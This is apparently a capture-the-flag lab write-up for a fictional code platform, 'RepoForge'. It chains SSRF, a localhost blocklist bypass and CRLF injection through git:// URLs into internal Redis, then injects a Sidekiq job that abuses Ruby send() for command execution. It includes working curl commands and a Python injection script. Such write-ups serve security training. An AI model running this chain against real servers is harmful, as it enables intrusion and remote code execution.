Lab 46 — RepoForge — SSRF to Redis RCE via Repository Import
Lab 46 — RepoForge — SSRF to Redis RCE via Repository Import
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: crlf_injection_in_git_protocol, data_exfiltration_via_redis, ip_blocklist_bypass, redis_command_injection_via_resp, ruby_send_method_abuse, sidekiq_job_queue_injection, ssrf_via_repository_import
Summary
Walkthrough of the CUSTOM Web Lab 46 — RepoForge — SSRF to Redis RCE via Repository Import. Task: RepoForge code collaboration platform with repository import feature vulnerable to SSRF via git:// protocol, connecting to internal Redis. Solution: CRLF injection in git:// URL to inject Redis
Description
RepoForge is a self-hosted code collaboration platform built by ForgeStack Inc. where teams manage repositories, run CI/CD pipelines, and coordinate deployments. The platform offers features similar to GitLab — project management, branch tracking, pipeline visualization, and a background job queue for async tasks like repository imports and webhook deliveries.
As part of a security assessment, you have been given access to a standard user account on the platform. Your objective is to escalate your privileges and achieve remote code execution on the server.
The flag is stored in /root/flag.txt and can only be retrieved through code execution on the server.
English summary: A self-hosted code collaboration platform with repository import functionality. The import feature supports HTTP, HTTPS, and git:// protocols. The git:// protocol handler is vulnerable to CRLF injection, allowing command injection into the internal Redis instance used as a Sidekiq job queue. A worker class with unsafe dynamic dispatch (send()) enables RCE.
Target: https://6e191ad3-b1ce-4b99-9201-b1d7ec949a57.labs.hackadvisor.io/ Credentials: user@test.com / password123
Analysis
Reconnaissance
- Stack identification: Ruby application (rack.session cookie), Sinatra/Rails framework, nginx/1.25.5 reverse proxy, Redis as Sidekiq job queue backend
- Login:
POST /loginwith form-encodedemail=user@test.com&password=password123 - Key feature: "New Project" page has "Import Repository" tab using
POST /api/projects/importwith JSON body{"name":"...", "url":"..."} - Worker discovery:
GET /api/jobsreveals Sidekiq workers: RepositoryCloneWorker, PipelineRunWorker, WebhookDeliveryWorker, CleanupWorker, ProjectExportWorker, CodeAnalysisWorker - Decoy flags: HTML contains fake flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden divs and comments — honeypots for automated scanners
SSRF Discovery
The repository import URL parameter is fetched server-side with incomplete validation:
| URL | Result | Meaning |
|---|---|---|
http://localhost:6379/ | "end of file reached" | Redis IS running on localhost:6379 |
http://127.0.0.1:6379/ | "Access to internal network addresses is not allowed" | IP-based blocklist active |
git://localhost:6379/test | {"status":"success","response_preview":"Git probe: (no response)"} | git:// connects to Redis |
Key finding: localhost bypasses the IP blocklist that blocks 127.0.0.1. The response_preview field in error responses leaks server-side data — useful for exfiltration.
CRLF Injection via git:// Protocol
The git:// protocol sends a packet like:
0039git-upload-pack /PATH\0host=HOST\0
URL-encoded CRLF characters (%0d%0a) in the path allow injecting arbitrary lines after the initial git-upload-pack command. Redis errors on the unrecognized git-upload-pack but processes all subsequent injected commands:
git://localhost:6379/test%0d%0aPING%0d%0a
Redis receives:
git-upload-pack /test
PING
→ Error on first line, +PONG on second.
Redis RESP Protocol for Binary-Safe Payloads
Inline Redis commands break on double quotes in JSON payloads. The solution is to use Redis RESP (Redis Serialization Protocol) format, which is length-prefixed and binary-safe:
*3\r\n$5\r\nLPUSH\r\n$13\r\nqueue:default\r\n$NN\r\n{json_payload}\r\n
All \r\n, *, $ characters are URL-encoded in the git:// URL path.
Vulnerable Worker: CodeAnalysisWorker
The CodeAnalysisWorker uses Ruby's send() for dynamic method dispatch on its arguments:
ruby read-only • copy allowedself.send(args[0], args[1])
By injecting args = ["system", "COMMAND"], this calls Kernel.system("COMMAND") — arbitrary command execution.
Solution
Step 1: Authenticate
bash read-only • copy allowedcurl -sk -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123"
Step 2: Confirm SSRF and Redis Access
bash read-only • copy allowed# Confirm Redis is reachable via git:// curl -sk -b cookies.txt -X POST "$TARGET/api/projects/import" \ -H "Content-Type: application/json" \ -d '{"name":"test-ssrf","url":"git://localhost:6379/test%0d%0aPING%0d%0a"}' # Response includes PONG confirming Redis command execution
Step 3: Inject Malicious Sidekiq Job via RESP Protocol
The job payload:
json read-only • copy allowed{"class":"CodeAnalysisWorker","args":["system","cat /root/flag.txt | redis-cli -x SET flagdata"],"jid":"rce001","queue":"default"}
This is injected via RESP-formatted LPUSH through the git:// CRLF injection:
python read-only • copy allowed#!/usr/bin/env python3 import urllib.parse import subprocess import json import time TARGET = "https://6e191ad3-b1ce-4b99-9201-b1d7ec949a57.labs.hackadvisor.io" COOKIES = "cookies.txt" def inject_job(worker_class, args, jid, queue="default"): job = json.dumps({ "class": worker_class, "args": args, "jid": jid, "queue": queue }, separators=(',', ':')) job_encoded = urllib.parse.quote(job, safe='') job_len = len(job) # Build RESP protocol: *3\r\n$5\r\nLPUSH\r\n$NN\r\nqueue:default\r\n$NN\r\njob\r\n queue_key = f"queue:{queue}" resp = ( f"%2a3%0d%0a" f"%245%0d%0aLPUSH%0d%0a" f"%24{len(queue_key)}%0d%0a{queue_key}%0d%0a" f"%24{job_len}%0d%0a{job_encoded}%0d%0a" ) url = f"git://localhost:6379/test%0d%0a{resp}" payload = json.dumps({"name": f"job-{jid}", "url": url}) result = subprocess.run([ "curl", "-sk", "-b", COOKIES, "-X", "POST", f"{TARGET}/api/projects/import", "-H", "Content-Type: application/json", "-d", payload ], capture_output=True, text=True) print(f"Push result: {result.stdout}") # Inject RCE job: cat flag → store in Redis inject_job( "CodeAnalysisWorker", ["system", "cat /root/flag.txt | redis-cli -x SET flagdata"], "rce001" )
Step 4: Exfiltrate Flag via Redis GET
After the job executes (wait ~2 seconds), read the flag back through the same SSRF channel:
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/api/projects/import" \ -H "Content-Type: application/json" \ -d '{"name":"read-flag","url":"git://localhost:6379/test%0d%0aGET%20flagdata%0d%0a"}'
The response_preview field in the response contains the flag value.
Key Takeaways / Lessons
- Mastering crlf_injection_in_git_protocol, data_exfiltration_via_redis, ip_blocklist_bypass, redis_command_injection_via_resp, ruby_send_method_abuse, sidekiq_job_queue_injection, ssrf_via_repository_import was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-02 • CUSTOM • Lab 46 — RepoForge — SSRF to Redis RCE via Repository Import • Difficulty: Medium